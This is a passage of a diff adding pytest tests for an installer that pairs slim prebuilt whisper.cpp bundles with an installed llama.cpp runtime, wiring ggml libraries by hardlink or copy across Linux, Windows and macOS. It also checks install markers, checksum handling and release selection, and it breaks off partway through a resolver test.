+        json.dumps({"release_tag": SLIM_LLAMA_TAG, "bundle_profile": "cuda13-newer"})
+    )
+    assert M.llama.installed_llama_runtime(root) == (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+
+
+@pytest.mark.parametrize(
+    "prepare",
+    [
+        lambda root: None,  # no marker at all
+        lambda root: (root / "UNSLOTH_PREBUILT_INFO.json").write_text("{}"),  # no release_tag
+        lambda root: (root / "UNSLOTH_PREBUILT_INFO.json").write_text("not json"),
+    ],
+)
+def test_installed_llama_runtime_rejects_incomplete_installs(tmp_path, prepare):
+    root = tmp_path / "llama.cpp"
+    (root / "build" / "bin").mkdir(parents = True)
+    prepare(root)
+    assert M.llama.installed_llama_runtime(root) is None
+
+
+def test_installed_llama_runtime_requires_bin_dir(tmp_path):
+    root = tmp_path / "llama.cpp"
+    root.mkdir()
+    (root / "UNSLOTH_PREBUILT_INFO.json").write_text(json.dumps({"release_tag": SLIM_LLAMA_TAG}))
+    assert M.llama.installed_llama_runtime(root) is None  # marker but no build/bin
+
+
+def test_slim_selected_when_all_pairing_checks_pass(tmp_path, monkeypatch):
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+    )
+    artifact, backend, used_fallback = M.select_artifact_with_fallback(
+        _slim_manifest(), _cuda_host(), "cuda"
+    )
+    assert artifact["asset"] == SLIM_ASSET
+    assert backend == "cuda" and used_fallback is False
+
+
+@pytest.mark.parametrize(
+    "runtime,slim_extra",
+    [
+        # No llama install at all.
+        (lambda bin_dir: None, None),
+        # Installed llama tag does not match requires_llama_tag.
+        (lambda bin_dir: (bin_dir, "b99999-mix-0000000", "cuda13-newer"), None),
+        # A required soname is missing from the llama bin dir.
+        (
+            lambda bin_dir: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer"),
+            {"requires_ggml_sonames": ["libggml.so.0", "libggml-base.so.0", "libggml-extra.so.9"]},
+        ),
+        # Manifest omits the soname contract entirely.
+        (lambda bin_dir: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer"), {"requires_ggml_sonames": []}),
+    ],
+)
+def test_slim_pairing_failure_falls_back_to_pinned_cpu(tmp_path, monkeypatch, runtime, slim_extra):
+    # With the fat per-accelerator chain gone, a failed pairing degrades to the
+    # one legacy shape: the release's published fat CPU bundle.
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(M, "installed_llama_runtime", lambda: runtime(bin_dir))
+    artifact, backend, used_fallback = M.select_artifact_with_fallback(
+        _slim_manifest(slim_extra), _cuda_host(), "cuda"
+    )
+    assert artifact["asset"] == CPU_ASSET
+    assert backend == "cpu" and used_fallback is True
+
+
+def test_slim_missing_accel_module_rides_the_cpu_module(tmp_path, monkeypatch):
+    # Sonames present but no libggml-cuda.so in the llama bin dir: the cuda
+    # pairing fails, and the cpu retry still serves the same slim bundle via
+    # the llama cpu modules.
+    bin_dir = _fake_llama_bin(tmp_path, backend_module = None)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+    )
+    artifact, backend, used_fallback = M.select_artifact_with_fallback(
+        _slim_manifest(), _cuda_host(), "cuda"
+    )
+    assert artifact["asset"] == SLIM_ASSET
+    assert backend == "cpu" and used_fallback is True
+
+
+def test_slim_selected_for_cpu_backend_on_linux(tmp_path, monkeypatch):
+    # Slim-only releases must serve cpu too: with the llama cpu modules present
+    # the cpu backend rides the same slim bundle as the GPUs.
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+    )
+    artifact, backend, _fb = M.select_artifact_with_fallback(
+        _slim_manifest(), _host("linux", "x64"), "cpu"
+    )
+    assert artifact["asset"] == SLIM_ASSET and backend == "cpu"
+
+
+def test_slim_cpu_requires_a_cpu_module(tmp_path, monkeypatch):
+    # Sonames present but no libggml-cpu* variant in the llama bin dir -> fat cpu.
+    bin_dir = tmp_path / "llama.cpp" / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    for name in ("libggml.so.0", "libggml-base.so.0"):
+        (bin_dir / name).write_bytes(b"ggml")
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "linux-cpu")
+    )
+    artifact, backend, _fb = M.select_artifact_with_fallback(
+        _slim_manifest(), _host("linux", "x64"), "cpu"
+    )
+    assert artifact["asset"] == CPU_ASSET and backend == "cpu"
+
+
+WIN_SLIM_ASSET = "whisper-v1.9.1-unsloth.1-windows-x64-slim.zip"
+
+
+def test_slim_selected_for_cpu_backend_on_windows(tmp_path, monkeypatch):
+    bin_dir = tmp_path / "llama.cpp" / "build" / "bin" / "Release"
+    bin_dir.mkdir(parents = True)
+    for name in ("ggml.dll", "ggml-base.dll", "ggml-cpu-haswell.dll"):
+        (bin_dir / name).write_bytes(b"ggml")
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "windows-cpu")
+    )
+    manifest = M.parse_manifest(
+        _manifest(
+            [
+                _slim_artifact(
+                    os = "windows",
+                    arch = "x64",
+                    asset = WIN_SLIM_ASSET,
+                    requires_ggml_sonames = ["ggml.dll", "ggml-base.dll"],
+                )
+            ]
+        )
+    )
+    artifact, backend, _fb = M.select_artifact_with_fallback(
+        manifest, _host("windows", "x64"), "cpu"
+    )
+    assert artifact["asset"] == WIN_SLIM_ASSET and backend == "cpu"
+
+
+MAC_SLIM_ASSET = "whisper-v1.9.1-unsloth.1-macos-arm64-slim.tar.gz"
+
+
+def _fake_llama_bin_macos(tmp_path: Path) -> Path:
+    """The dylib names the live llama macos bundle ships (core + cpu + metal)."""
+    bin_dir = tmp_path / "llama.cpp" / "build" / "bin"
+    bin_dir.mkdir(parents = True, exist_ok = True)
+    for name in (
+        "libggml.dylib",
+        "libggml-base.dylib",
+        "libggml-cpu.dylib",
+        "libggml-metal.dylib",
+        "libggml-blas.dylib",
+    ):
+        (bin_dir / name).write_bytes(b"ggml-" + name.encode())
+    (bin_dir / "libllama.dylib").write_bytes(b"not-ggml")
+    return bin_dir
+
+
+def _macos_slim_manifest(arch: str = "arm64") -> dict:
+    return M.parse_manifest(
+        _manifest(
+            [
+                _slim_artifact(
+                    os = "macos",
+                    arch = arch,
+                    asset = MAC_SLIM_ASSET,
+                    requires_ggml_sonames = ["libggml.dylib", "libggml-base.dylib"],
+                )
+            ]
+        )
+    )
+
+
+@pytest.mark.parametrize("backend", ["metal", "cpu"])
+def test_slim_selected_for_metal_and_cpu_on_macos(tmp_path, monkeypatch, backend):
+    bin_dir = _fake_llama_bin_macos(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "macos-metal-arm64")
+    )
+    host = _host("macos", "arm64", macos_version = (14, 0))
+    artifact, effective, _fb = M.select_artifact_with_fallback(
+        _macos_slim_manifest(), host, backend
+    )
+    assert artifact["asset"] == MAC_SLIM_ASSET
+    assert effective == backend  # the accel identity, never "slim"
+
+
+def test_macos_auto_backends_route_to_slim(tmp_path, monkeypatch):
+    # auto -> metal on Apple Silicon, cpu on Intel macs; both must pick slim.
+    bin_dir = _fake_llama_bin_macos(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "macos-metal-arm64")
+    )
+    silicon = _host("macos", "arm64", macos_version = (14, 0))
+    assert M.resolve_backend(silicon, "auto", cpu_fallback = False) == "metal"
+    artifact, backend, _fb = M.select_artifact_with_fallback(
+        _macos_slim_manifest(), silicon, "metal"
+    )
+    assert artifact["asset"] == MAC_SLIM_ASSET and backend == "metal"
+
+    intel = _host("macos", "x64", macos_version = (14, 0))
+    assert M.resolve_backend(intel, "auto", cpu_fallback = False) == "cpu"
+    artifact, backend, _fb = M.select_artifact_with_fallback(
+        _macos_slim_manifest(arch = "x64"), intel, "cpu"
+    )
+    assert artifact["asset"] == MAC_SLIM_ASSET and backend == "cpu"
+
+
+def test_slim_metal_requires_the_metal_module(tmp_path, monkeypatch):
+    # A macos llama runtime without libggml-metal*.dylib cannot back metal; the
+    # cpu fallback still rides the same slim bundle via the cpu module.
+    bin_dir = tmp_path / "llama.cpp" / "build" / "bin"
+    bin_dir.mkdir(parents = True)
+    for name in ("libggml.dylib", "libggml-base.dylib", "libggml-cpu.dylib"):
+        (bin_dir / name).write_bytes(b"ggml")
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "macos-cpu-x64")
+    )
+    host = _host("macos", "arm64", macos_version = (14, 0))
+    artifact, backend, used_fallback = M.select_artifact_with_fallback(
+        _macos_slim_manifest(), host, "metal"
+    )
+    assert artifact["asset"] == MAC_SLIM_ASSET
+    assert backend == "cpu" and used_fallback is True
+
+
+def test_slim_only_release_pairing_failure_is_actionable(tmp_path, monkeypatch):
+    # A slim-only release with no llama install is an operational failure, not
+    # the narrowly handled installed-version skew.
+    lines: list[str] = []
+    monkeypatch.setattr(M, "log", lines.append)
+    monkeypatch.setattr(M, "installed_llama_runtime", lambda: None)
+    manifest = M.parse_manifest(_manifest([_slim_artifact()]))
+    with pytest.raises(PrebuiltFallback):
+        M.select_artifact_with_fallback(manifest, _cuda_host(), "cuda")
+    assert any(
+        f"slim bundle requires llama.cpp {SLIM_LLAMA_TAG}; "
+        "install or update llama.cpp first" in line
+        for line in lines
+    )
+
+
+def test_slim_release_tag_skew_has_distinct_compatibility_error(tmp_path, monkeypatch):
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M,
+        "installed_llama_runtime",
+        lambda: (bin_dir, "b10068-mix-old", "cuda13-newer"),
+    )
+    manifest = M.parse_manifest(_manifest([_slim_artifact()]))
+    with pytest.raises(ReleaseCompatibilityError, match = SLIM_LLAMA_TAG):
+        M.select_artifact_with_fallback(manifest, _cuda_host(), "cuda")
+
+
+def test_link_ggml_runtime_hardlinks_every_ggml_library(tmp_path):
+    bin_dir = _fake_llama_bin(tmp_path)
+    whisper_bin = tmp_path / "whisper.cpp" / "build" / "bin"
+    linked = M.link_ggml_runtime(bin_dir, whisper_bin)
+    assert linked == [
+        "libggml-base.so.0",
+        "libggml-cpu-x64.so",
+        "libggml-cuda.so",
+        "libggml.so.0",
+    ]
+    for name in ("libggml.so.0", "libggml-base.so.0", "libggml-cuda.so", "libggml-cpu-x64.so"):
+        source, dest = bin_dir / name, whisper_bin / name
+        assert dest.is_file() and not dest.is_symlink()
+        assert dest.stat().st_ino == source.stat().st_ino  # a true hardlink
+    assert not (whisper_bin / "libllama.so").exists()  # only ggml libraries wire over
+
+
+def test_link_ggml_runtime_copy_fallback(tmp_path, monkeypatch):
+    def no_link(src, dst, **kwargs):
+        raise OSError("cross-device link")
+
+    monkeypatch.setattr(M.os, "link", no_link)
+    bin_dir = _fake_llama_bin(tmp_path)
+    whisper_bin = tmp_path / "whisper.cpp" / "build" / "bin"
+    assert len(M.link_ggml_runtime(bin_dir, whisper_bin)) == 4
+    dest = whisper_bin / "libggml.so.0"
+    assert dest.read_bytes() == (bin_dir / "libggml.so.0").read_bytes()
+    assert dest.stat().st_nlink == 1  # a copy, not a link
+
+
+def test_link_ggml_runtime_hardlinks_dylibs(tmp_path):
+    # macOS wiring: the libggml* glob must take the .dylib names too.
+    bin_dir = _fake_llama_bin_macos(tmp_path)
+    whisper_bin = tmp_path / "whisper.cpp" / "build" / "bin"
+    linked = M.link_ggml_runtime(bin_dir, whisper_bin)
+    assert linked == [
+        "libggml-base.dylib",
+        "libggml-blas.dylib",
+        "libggml-cpu.dylib",
+        "libggml-metal.dylib",
+        "libggml.dylib",
+    ]
+    for name in linked:
+        source, dest = bin_dir / name, whisper_bin / name
+        assert dest.is_file() and not dest.is_symlink()
+        assert dest.stat().st_ino == source.stat().st_ino  # a true hardlink
+    assert not (whisper_bin / "libllama.dylib").exists()
+
+
+def test_link_ggml_runtime_fails_closed_on_empty_runtime(tmp_path):
+    empty = tmp_path / "empty"
+    empty.mkdir()
+    with pytest.raises(PrebuiltFallback):
+        M.link_ggml_runtime(empty, tmp_path / "whisper_bin")
+
+
+def test_link_ggml_runtime_wires_windows_libomp(tmp_path):
+    # llama's clang-built windows-arm64 ggml-base.dll imports
+    # libomp140.aarch64.dll (bundled, not a system DLL): the wiring must place
+    # it next to whisper-server.exe or the loader dies with DLL_NOT_FOUND.
+    bin_dir = tmp_path / "llama_bin"
+    bin_dir.mkdir()
+    for name in ("ggml.dll", "ggml-base.dll", "ggml-cpu.dll", "libomp140.aarch64.dll"):
+        (bin_dir / name).write_bytes(b"x")
+    (bin_dir / "llama.dll").write_bytes(b"x")  # never wired
+    whisper_bin = tmp_path / "whisper_bin"
+    linked = M.link_ggml_runtime(bin_dir, whisper_bin)
+    assert linked == ["ggml-base.dll", "ggml-cpu.dll", "ggml.dll", "libomp140.aarch64.dll"]
+    assert not (whisper_bin / "llama.dll").exists()
+
+
+def test_rocm_runtime_wires_complete_windows_dll_overlay(tmp_path):
+    bin_dir = tmp_path / "llama_bin"
+    bin_dir.mkdir()
+    dlls = {
+        "ggml.dll",
+        "ggml-base.dll",
+        "ggml-hip.dll",
+        "amdhip64.dll",
+        "rocblas.dll",
+        "hipblaslt.dll",
+        "hsa-runtime64.dll",
+        # The llama Windows ROCm archive can carry transitive DLLs whose names
+        # do not contain hip/roc/amd. Its installer overlays every DLL.
+        "runtime-support.dll",
+    }
+    for name in dlls:
+        (bin_dir / name).write_bytes(name.encode())
+    (bin_dir / "not-a-runtime.txt").write_text("ignored")
+
+    whisper_bin = tmp_path / "whisper_bin"
+    linked = M.link_ggml_runtime(bin_dir, whisper_bin, backend = "rocm")
+    linked_dirs = M.link_runtime_directories(
+        bin_dir,
+        whisper_bin,
+        backend = "rocm",
+        host = _host("windows", "x64"),
+    )
+
+    assert set(linked) == dlls
+    assert linked_dirs == []
+    assert all((whisper_bin / name).is_file() for name in dlls)
+    assert not (whisper_bin / "not-a-runtime.txt").exists()
+
+
+def test_assemble_does_not_copy_packaging_marker_beside_server(tmp_path):
+    host = _host("linux", "x64")
+    bundle = tmp_path / "bundle"
+    bundle.mkdir()
+    (bundle / "whisper-server").write_text("server")
+    (bundle / M.METADATA_FILENAME).write_text('{"backend":"slim"}')
+    staged = tmp_path / "staged"
+    M.assemble_install_tree(bundle, staged, host)
+    assert not (staged / "build" / "bin" / M.METADATA_FILENAME).exists()
+
+
+def test_rocm_runtime_wires_packaged_dependency_closure_and_catalogs(tmp_path, monkeypatch):
+    llama_bin = _fake_llama_bin(tmp_path, backend_module = "libggml-hip.so")
+    for name in ("libamdhip64.so.6", "libhipblas.so.2", "libcustomrocm.so.1"):
+        (llama_bin / name).write_bytes(name.encode())
+    for directory in M.SLIM_ROCM_RUNTIME_DIRS:
+        catalog = llama_bin / directory / "library" / "gfx1100"
+        catalog.mkdir(parents = True)
+        (catalog / "kernel.dat").write_bytes(directory.encode())
+
+    dependencies = {
+        "libggml-hip.so": {"libamdhip64.so.6", "libcustomrocm.so.1"},
+        "libamdhip64.so.6": {"libhipblas.so.2"},
+    }
+    monkeypatch.setattr(M, "_elf_needed", lambda path: dependencies.get(path.name, set()))
+    whisper_bin = tmp_path / "whisper-bin"
+    linked = M.link_ggml_runtime(llama_bin, whisper_bin, backend = "rocm")
+    linked_dirs = M.link_runtime_directories(
+        llama_bin,
+        whisper_bin,
+        backend = "rocm",
+        host = _host("linux", "x64"),
+    )
+
+    assert "libcustomrocm.so.1" in linked
+    assert "libhipblas.so.2" in linked
+    assert linked_dirs == ["hipblaslt", "rocblas"]
+    for directory in linked_dirs:
+        linked_catalog = whisper_bin / directory / "library" / "gfx1100" / "kernel.dat"
+        source_catalog = llama_bin / directory / "library" / "gfx1100" / "kernel.dat"
+        assert linked_catalog.stat().st_ino == source_catalog.stat().st_ino
+
+
+def test_rocm_runtime_requires_both_kernel_catalogs(tmp_path):
+    llama_bin = _fake_llama_bin(tmp_path, backend_module = "libggml-hip.so")
+    (llama_bin / "hipblaslt").mkdir()
+    (llama_bin / "hipblaslt" / "kernel.dat").write_bytes(b"kernel")
+    with pytest.raises(PrebuiltFallback, match = "rocblas"):
+        M.link_runtime_directories(
+            llama_bin,
+            tmp_path / "whisper-bin",
+            backend = "rocm",
+            host = _host("linux", "x64"),
+        )
+
+
+def test_rocm_runtime_catalog_copy_fallback(tmp_path, monkeypatch):
+    llama_bin = _fake_llama_bin(tmp_path, backend_module = "libggml-hip.so")
+    for directory in M.SLIM_ROCM_RUNTIME_DIRS:
+        catalog = llama_bin / directory
+        catalog.mkdir()
+        (catalog / "kernel.dat").write_bytes(directory.encode())
+    monkeypatch.setattr(M.os, "link", lambda *args: (_ for _ in ()).throw(OSError("xdev")))
+    whisper_bin = tmp_path / "whisper-bin"
+    M.link_runtime_directories(
+        llama_bin,
+        whisper_bin,
+        backend = "rocm",
+        host = _host("linux", "x64"),
+    )
+    for directory in M.SLIM_ROCM_RUNTIME_DIRS:
+        assert (whisper_bin / directory / "kernel.dat").read_bytes() == directory.encode()
+
+
+def test_existing_install_requires_executable_server(tmp_path, monkeypatch):
+    # A marker-matching install with a non-executable server must reinstall:
+    # the sidecar refuses it via os.access(X_OK), so "already matches" would
+    # otherwise leave dictation permanently broken.
+    host = _host("linux", "x64")
+    selection = object()
+    monkeypatch.setattr(M.core, "existing_install_matches", lambda *a: True)
+    server = tmp_path / "build" / "bin" / "whisper-server"
+    server.parent.mkdir(parents = True)
+    server.write_text("bin")
+    monkeypatch.setattr(M, "installed_server_path", lambda d, h: server)
+    monkeypatch.setattr(M, "load_prebuilt_metadata", lambda d: {})
+    server.chmod(0o644)
+    assert M.existing_install_matches(tmp_path, host, selection) is False
+    server.chmod(0o755)
+    assert M.existing_install_matches(tmp_path, host, selection) is True
+
+
+def test_existing_slim_install_requires_wired_libraries(tmp_path, monkeypatch):
+    # A slim install whose hardlinked ggml files vanished (llama dir deleted)
+    # must reinstall so update re-wires instead of reporting up to date.
+    host = _host("linux", "x64")
+    monkeypatch.setattr(M.core, "existing_install_matches", lambda *a: True)
+    server = tmp_path / "build" / "bin" / "whisper-server"
+    server.parent.mkdir(parents = True)
+    server.write_text("bin")
+    server.chmod(0o755)
+    monkeypatch.setattr(M, "installed_server_path", lambda d, h: server)
+    marker = {
+        "install_kind": "slim",
+        "runtime_wiring_version": M.SLIM_RUNTIME_WIRING_VERSION,
+        "linked_libraries": ["libggml.so.0"],
+    }
+    monkeypatch.setattr(M, "load_prebuilt_metadata", lambda d: marker)
+    marker.pop("runtime_wiring_version")
+    assert M.existing_install_matches(tmp_path, host, object()) is False
+    marker["runtime_wiring_version"] = M.SLIM_RUNTIME_WIRING_VERSION
+    assert M.existing_install_matches(tmp_path, host, object()) is False
+    (server.parent / "libggml.so.0").write_text("lib")
+    assert M.existing_install_matches(tmp_path, host, object()) is True
+    marker.update(backend = "rocm", linked_runtime_directories = [])
+    assert M.existing_install_matches(tmp_path, _host("windows", "x64"), object()) is True
+
+
+def test_link_ggml_runtime_libomp_alone_is_not_a_pairing(tmp_path):
+    # A libomp without any ggml library is not a usable llama runtime.
+    bin_dir = tmp_path / "llama_bin"
+    bin_dir.mkdir()
+    (bin_dir / "libomp140.aarch64.dll").write_bytes(b"x")
+    with pytest.raises(PrebuiltFallback):
+        M.link_ggml_runtime(bin_dir, tmp_path / "whisper_bin")
+
+
+def _build_slim_bundle(tmp_path: Path, host: HostInfo) -> tuple[Path, str]:
+    """Slim archive per the CI contract: whisper-server + libwhisper only."""
+    archive = tmp_path / SLIM_ASSET
+    with tarfile.open(archive, "w:gz") as tar:
+        _add_file(tar, M.server_binary_name(host), b"#!/bin/sh\necho whisper\n", mode = 0o755)
+        _add_file(tar, "libwhisper.so.1", b"dummy-libwhisper")
+    return archive, M.sha256_file(archive)
+
+
+def _slim_install_env(monkeypatch, tmp_path, host, *, sha256: str) -> Path:
+    llama_bin = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M,
+        "installed_llama_runtime",
+        lambda install_dir = None: (llama_bin, SLIM_LLAMA_TAG, "cuda13-newer"),
+    )
+    manifest = M.parse_manifest(
+        _manifest(
+            [
+                _artifact("linux", "x64", "cpu", CPU_ASSET, "a" * 64),
+                _slim_artifact(sha256 = sha256),
+            ]
+        )
+    )
+    bundle = M.ReleaseBundle(
+        repo = "unslothai/whisper.cpp",
+        release_tag = RELEASE_TAG,
+        manifest = manifest,
+        asset_urls = {SLIM_ASSET: f"https://example.invalid/{SLIM_ASSET}"},
+    )
+    checksums = {SLIM_ASSET: sha256, CPU_ASSET: "a" * 64}
+    monkeypatch.setattr(
+        M,
+        "fetch_release_for_install",
+        lambda repo, *, published_release_tag = None: (bundle, checksums),
+    )
+    return llama_bin
+
+
+def test_slim_install_wires_links_and_marker(tmp_path, monkeypatch):
+    host = _cuda_host()
+    archive, sha256 = _build_slim_bundle(tmp_path, host)
+
+    def fake_download(url, destination):
+        destination.parent.mkdir(parents = True, exist_ok = True)
+        destination.write_bytes(archive.read_bytes())
+
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", fake_download)
+    llama_bin = _slim_install_env(monkeypatch, tmp_path, host, sha256 = sha256)
+
+    install_dir = tmp_path / "whisper.cpp"
+    assert M.install_prebuilt(install_dir, backend = "cuda") == M.EXIT_SUCCESS
+
+    whisper_bin = install_dir / "build" / "bin"
+    assert (whisper_bin / "whisper-server").is_file()
+    assert (whisper_bin / "libwhisper.so.1").is_file()
+    for name in ("libggml.so.0", "libggml-base.so.0", "libggml-cuda.so", "libggml-cpu-x64.so"):
+        dest = whisper_bin / name
+        assert dest.is_file() and not dest.is_symlink()
+        assert dest.stat().st_ino == (llama_bin / name).stat().st_ino
+
+    marker = json.loads((install_dir / M.METADATA_FILENAME).read_text())
+    assert marker["backend"] == "cuda"  # the accel identity, not "slim"
+    assert marker["asset"] == SLIM_ASSET
+    assert marker["install_kind"] == "slim"
+    assert marker["paired_llama_tag"] == SLIM_LLAMA_TAG
+    assert marker["linked_from"] == str(llama_bin)
+    # The wired filenames land in the marker; the sidecar launch guard
+    # verifies exactly these names instead of hardcoded per-OS globs.
+    assert marker["linked_libraries"] == [
+        "libggml-base.so.0",
+        "libggml-cpu-x64.so",
+        "libggml-cuda.so",
+        "libggml.so.0",
+    ]
+    assert marker["runtime_wiring_version"] == M.SLIM_RUNTIME_WIRING_VERSION
+    assert marker["linked_runtime_directories"] == []
+
+
+def test_slim_links_survive_a_llama_dir_swap(tmp_path, monkeypatch):
+    # The whole point of hardlinks: replace the llama dir contents after wiring
+    # and whisper's links must still hold the OLD inodes/content.
+    host = _cuda_host()
+    archive, sha256 = _build_slim_bundle(tmp_path, host)
+
+    def fake_download(url, destination):
+        destination.parent.mkdir(parents = True, exist_ok = True)
+        destination.write_bytes(archive.read_bytes())
+
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(M, "download_file", fake_download)
+    llama_bin = _slim_install_env(monkeypatch, tmp_path, host, sha256 = sha256)
+
+    install_dir = tmp_path / "whisper.cpp"
+    assert M.install_prebuilt(install_dir, backend = "cuda") == M.EXIT_SUCCESS
+    whisper_lib = install_dir / "build" / "bin" / "libggml.so.0"
+    old_inode = whisper_lib.stat().st_ino
+    old_content = whisper_lib.read_bytes()
+
+    # Simulate the llama updater swapping in a new release's libraries.
+    for path in llama_bin.iterdir():
+        path.unlink()
+    (llama_bin / "libggml.so.0").write_bytes(b"ggml-NEW")
+
+    assert whisper_lib.stat().st_ino == old_inode  # old inode survives the swap
+    assert whisper_lib.read_bytes() == old_content
+    assert whisper_lib.stat().st_nlink == 1  # the llama side is gone; ours remains
+
+
+# The exact resolver key set shipped before slim existed; install_kind is the
+# one additive field and must stay the only difference.
+_LEGACY_RESOLVER_KEYS = {
+    "prebuilt_available",
+    "repo",
+    "release_tag",
+    "upstream_tag",
+    "backend",
+    "requested_backend",
+    "cpu_fallback",
+    "asset",
+    "os",
+    "arch",
+    "runtime_line",
+}
+
+
+def _resolver_payload(monkeypatch, capsys, manifest, host) -> dict:
+    bundle = M.ReleaseBundle(
+        repo = "unslothai/whisper.cpp",
+        release_tag = RELEASE_TAG,
+        manifest = manifest,
+        asset_urls = {},
+    )
+    monkeypatch.setattr(M, "detect_host", lambda: host)
+    monkeypatch.setattr(
+        M, "fetch_release_for_install", lambda repo, *, published_release_tag = None: (bundle, {})
+    )
+    assert M.main(["--resolve-prebuilt", "--output-format", "json"]) == M.EXIT_SUCCESS
+    return json.loads(capsys.readouterr().out.strip())
+
+
+def test_resolver_reports_install_kind_fat_additively(monkeypatch, capsys):
+    # The pinned pre-slim escape hatch resolves the published fat CPU bundle.
+    manifest = M.parse_manifest(_manifest([_artifact("linux", "x64", "cpu", CPU_ASSET, "a" * 64)]))
+    payload = _resolver_payload(monkeypatch, capsys, manifest, _host("linux", "x64"))
+    assert set(payload) == _LEGACY_RESOLVER_KEYS | {"install_kind"}
+    assert payload["install_kind"] == "fat"
+    assert payload["asset"] == CPU_ASSET
+
+
+def _release_for_selection(release_tag: str, upstream_tag: str, artifact: dict) -> M.ReleaseBundle:
+    payload = _manifest([artifact])
+    payload["upstream_tag"] = upstream_tag
+    return M.ReleaseBundle(
+        repo = "unslothai/whisper.cpp",
+        release_tag = release_tag,
+        manifest = M.parse_manifest(payload),
+        asset_urls = {},
+    )
+
+
+def test_whisper_tag_selects_matching_published_upstream(monkeypatch):
+    latest_asset = "latest-linux-x64-cpu.tar.gz"
+    pinned_asset = "pinned-linux-x64-cpu.tar.gz"
+    latest = _release_for_selection(
+        "v1.9.2-unsloth.1",
+        "v1.9.2",
+        _artifact("linux", "x64", "cpu", latest_asset, "a" * 64),
+    )
+    pinned = _release_for_selection(
+        "v1.9.0-unsloth.3",
+        "v1.9.0",
+        _artifact("linux", "x64", "cpu", pinned_asset, "b" * 64),
+    )
+    monkeypatch.setattr(
+        M,
+        "fetch_release_for_install",
+        lambda *args, **kwargs: (_ for _ in ()).throw(
+            AssertionError("an upstream pin consulted the unrelated newest release")
+        ),
+    )
+    monkeypatch.setattr(
+        M,
+        "_published_release_tags",
+        lambda repo: [latest.release_tag, pinned.release_tag],
+    )
+    monkeypatch.setattr(
+        M,
+        "_fetch_release_candidate",
+        lambda repo, tag: latest if tag == latest.release_tag else pinned,
+    )
+    monkeypatch.setattr(M, "fetch_release_checksums", lambda bundle: {pinned_asset: "b" * 64})
+
+    payload = M.resolve_prebuilt(
+        _host("linux", "x64"),
+        published_repo = "unslothai/whisper.cpp",
+        published_release_tag = None,
+        whisper_tag = "v1.9.0",
+        backend = "cpu",
+        cpu_fallback = False,
+    )
+    assert payload["prebuilt_available"] is True
+    assert payload["release_tag"] == pinned.release_tag
+    assert payload["upstream_tag"] == "v1.9.0"
+
+
+def test_macos_walks_back_to_newest_compatible_release(monkeypatch):
+    latest_asset = "latest-macos-arm64-cpu.tar.gz"
+    compatible_asset = "compatible-macos-arm64-cpu.tar.gz"
+    latest = _release_for_selection(
+        "v1.9.2-unsloth.1",
+        "v1.9.2",
+        _artifact(
+            "macos",
+            "arm64",
+            "cpu",
+            latest_asset,
+            "a" * 64,
+            min_os = "macos-15.0",
+        ),
+    )
+    compatible = _release_for_selection(
+        "v1.9.1-unsloth.1",
+        "v1.9.1",
+        _artifact(
+            "macos",
+            "arm64",
+            "cpu",
+            compatible_asset,
+            "b" * 64,
+            min_os = "macos-13.0",
+        ),
+    )
+    monkeypatch.setattr(
+        M,
+        "fetch_release_for_install",
+        lambda repo, *, published_release_tag = None: (latest, {latest_asset: "a" * 64}),
+    )
+    monkeypatch.setattr(
+        M,
+        "_published_release_tags",
+        lambda repo: [latest.release_tag, compatible.release_tag],
+    )
+    monkeypatch.setattr(M, "_fetch_release_candidate", lambda repo, tag: compatible)
+    monkeypatch.setattr(
+        M,
+        "fetch_release_checksums",
+        lambda bundle: {compatible_asset: "b" * 64},
+    )
+
+    payload = M.resolve_prebuilt(
+        _host("macos", "arm64", macos_version = (14, 7)),
+        published_repo = "unslothai/whisper.cpp",
+        published_release_tag = None,
+        backend = "cpu",
+        cpu_fallback = False,
+    )
+    assert payload["prebuilt_available"] is True
+    assert payload["release_tag"] == compatible.release_tag
+
+
+def test_macos_walkback_never_masks_checksum_failure(monkeypatch):
+    asset = "latest-macos-arm64-cpu.tar.gz"
+    latest = _release_for_selection(
+        "v1.9.2-unsloth.1",
+        "v1.9.2",
+        _artifact("macos", "arm64", "cpu", asset, "a" * 64, min_os = "macos-13.0"),
+    )
+    monkeypatch.setattr(
+        M,
+        "fetch_release_for_install",
+        lambda repo, *, published_release_tag = None: (latest, {asset: "b" * 64}),
+    )
+    monkeypatch.setattr(
+        M,
+        "_published_release_tags",
+        lambda repo: (_ for _ in ()).throw(AssertionError("integrity failure walked back")),
+    )
+
+    with pytest.raises(PrebuiltFallback, match = "disagrees"):
+        M._release_plan_for_host(
+            _host("macos", "arm64", macos_version = (14, 7)),
+            published_repo = "unslothai/whisper.cpp",
+            published_release_tag = None,
+            whisper_tag = "latest",
+            requested_backend = "cpu",
+        )
+
+
+def test_resolver_reports_install_kind_slim_when_paired(tmp_path, monkeypatch, capsys):
+    bin_dir = _fake_llama_bin(tmp_path)
+    monkeypatch.setattr(
+        M, "installed_llama_runtime", lambda: (bin_dir, SLIM_LLAMA_TAG, "cuda13-newer")
+    )
+    payload = _resolver_payload(monkeypatch, capsys, _slim_manifest(), _cuda_host())
